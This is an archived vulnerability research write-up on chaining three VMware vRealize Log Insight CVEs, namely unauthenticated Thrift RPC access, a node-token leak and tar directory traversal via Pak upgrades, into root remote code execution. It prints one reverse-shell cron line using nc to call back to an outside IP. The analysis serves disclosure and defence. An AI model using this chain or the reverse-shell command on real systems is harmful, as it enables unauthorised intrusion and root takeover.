VMSA-2023-0001 _ VMware vRealize Log Insight Multiple Vulns
🪵

VMSA-2023-0001 _ VMware vRealize Log Insight Multiple Vulns

📅 [ Archival Date ]
Jan 31, 2023 11:00 PM
🏷️ [ Tags ]
VMWarevRealize
✍️ [ Author ]

James Horseman

image

Introduction

The recent VMware VMSA describes four new CVEs affecting VMware vRealize Log Insight, reported by ZDI. Three of these CVEs can be combined to give an attacker remote code execution as root. This vulnerability is exploitable in the default configuration for VMware vRealize Log Insight. We have successfully reproduced this exploit and would like to provide the technical details about how this vulnerability works. Our POC can be found here.

Information Gathering

Our first step when trying to reproduce any N-day vulnerability is to gather information. This includes reading the VMSA, and its associated workaround. Its important to note that a researcher should take these write ups with a grain of salt. They often contain information that, for a researcher, can be misleading. However, in this case, the VMSA and workaround provide us with a good pieces of information to get us started.

The VMSA describes four different vulnerabilities:

  • CVE-2022-31706: VMware vRealize Log Insight Directory Traversal Vulnerability
  • CVE-2022-31704: VMware vRealize Log Insight broken Access Control Vulnerability
  • CVE-2022-31710: VMware vRealize Log Insight Deserialization Vulnerability
  • CVE-2022-31711: VMware vRealize Log Insight Information Disclosure Vulnerability

CVE-2022-31706, the directory traversal vulnerability, has a CVSS score of 9.8 and potential for RCE, so that will be our main goal. The other CVEs will support us in eventually exploiting CVE-2022-31706.

The workaround contains two scripts: KB90635.sh and KB90635_validate.sh. These scripts are indented to change a vulnerable system in some way so that it is no longer vulnerable, without applying a patch. These scripts insert and validate iptables rules that restrict access to TCP ports 16520 through 16580.

image

KB90635.sh Snippet

Examining the Vulnerable Ports

Knowing that the workaround restricts TCP ports 16520 through 16580, we can begin to research what purpose these ports serve. We find two valuable pieces of information.

First, we find an article for vRealize Log Insight firewall recommendations that tell us that TCP ports 16520 through 16580 use the Thrift RPC protocol. Apache Thrift is a cross-language RPC framework that supports RPC clients and servers using the Thrift interface definition language. This information tells us that the vulnerability is likely in a RPC server.

Next, we log into the running system and find that TCP port 16520 is created by a java application. We also find the corresponding command line and find out that the main class is com.vmware.loginsight.daemon.LogInsightDaemon.

image

Vulnerable port, process and cmdline

Reverse Engineering Log Insight

Searching through the file system, we find the com.vmware.loginsight.daemon.LogInsightDaemon class resides in /usr/lib/loginsight/application/lib/daemon-service-li.jar. Digging through this class, we find a function responsible for starting a Thrift server called startThriftServer.

image

startThriftServer

From here, we are led to the DaemonCommandsHandler class that implements the server-side Thrift RPC commands. There are a many different RPC commands implemented in this file. However, before we dig too much farther, we need to see if we can execute any of these commands.

Thrift RPC Client

We decide to implement a client for a simple function in DaemonCommandsHandler. We decide on getNodeType since it doesn’t require creating too many Thrift definitions and will be easy for us to test out. We create the following simple Thrift definitions file:

image

Simple Thrift definitions

We generate the required python files with:

thrift --gen py loginsight.thrift

Finally, we write a simple Python client and test that we can call getNodeType successfully:

image

Simple Python Thrift client

Success! Presumably, the ability to execute Thrift remote procedure calls unauthenticated is unintended. Therefore, we think that this is CVE-2022-31704 — VMware vRealize Log Insight broken access control vulnerability.

Powerful Thrift Remote Procedure Calls

Now that we have verified that we can make unauthenticated remote produced calls, our next task is to figure out if we can use these RPCs to do anything interesting. After some investigation, we find the requestCommand endpoint which let’s a caller execute one of the following commands:

  • shutdownCommand
  • repoImportCommand
  • restartCommand
  • phoneHomeFeedbackCommand
  • hostSyncCommand
  • ntpSyncCommand
  • supportBundleCommand
  • pakUpgradeCommand
  • configLolCommand
  • remotePakDownloadCommand
image

requestCommand

Since we are searching for a directory traversal vulnerability, we examined each of these commands for file system manipulation. We found that remotePakDownloadCommand was capable of reaching out to an external URL to download a “Pak” file and placing it in /tmp/<filename>.pak. Furthermore, we discovered that pakUpgradeCommand invokes the Python script loginsight-pak-upgrade.py to process the file downloaded by remotePakDownloadCommand.

loginsight-pak-upgrade.py

Finally, our sights are set on loginsight-pak-upgrade.py. This script processes a Pak file, presumably to apply a system upgrade. From the script, we learn that a Pak file is just a tar file with certain required files. Since this script extracts the tar file, we are hopeful that we can encode relative paths into the tar file and get an arbitrary file write or directory traversal.

Our focus is drawn to the following portion of the script:

image

loginsight-pak-upgrade.py snippet

Our goal is to get to line 493 where extractFiles is called with an empty file list which causes the entire tar file to be extracted. To get to this point, we have to pass a few checks:

  • PakStruct.integrityCheck(inputFile, locale) at line 453
  • We can control mode by change changing an RPC argument so if we can pass the integrity check, we will continue execution at line 479
  • extractFiles(inputFile, fileList)at line 481 requires the tar file to contain a VMware-vRealize-Log-Insight.mf and VMware-vRealize-Log-Insight.cert
  • pak.verifyCertificate at line 483
  • pak.validateSignature at line 484
  • Manifest.parseManifest(pak.mfFile) at line 485
  • manifest.checkSupportVersion() at line 490
  • manifest.checkDiskSpace() at line 491

If we can construct a tar file that passes all of these checks, we will hit line 493 and extractFiles will parse our malicious tar, allowing us to write a file with contents of our choosing to any place on the file system.

Admittedly, we spent some time manually constructing a tar file that would pass all of these checks before we realized that we could simply use a legitimate upgrade file with a small modification to accommodate our payload.

Presumably, this vulnerability is CVE-2022-31706 — VMware vRealize Log Insight Directory Traversal Vulnerability. We can use this vulnerability to write * * * * * root nc -e /bin/bash 192.168.4.60 8888 to /ect/cron.d/exploit to get a reverse shell!

Information Leak

There is an important piece of information we glossed over, remotePakDownloadCommand requires a node token to work. A node token is a guid that is unique per instance of Log Insight. This information is not readily available to an unauthenticated user. However, there are various Thrift RPC commands that leak the node token including getConfig and getHealthStatus. Presumably, this is CVE-2022-31711 — VMware vRealize Log Insight Information Disclosure Vulnerability.

Summary

To wrap things up, here is an overview of the steps involved in chaining together there three CVEs to gain remote code execution

  1. We create a Thrift client and are allowed unauthenticated access to the Log Insight Thrift server.
  2. We create a malicious tar file containing a directory traversal using a valid Pak file.
  3. Using remotePakDownloadCommand, we upload the malicious Pak file to /tmp/<filename>.pak.
  4. We cause the Pak file to be extracted using pakUpgradeCommand. This writes our file to where we want on the filesystem.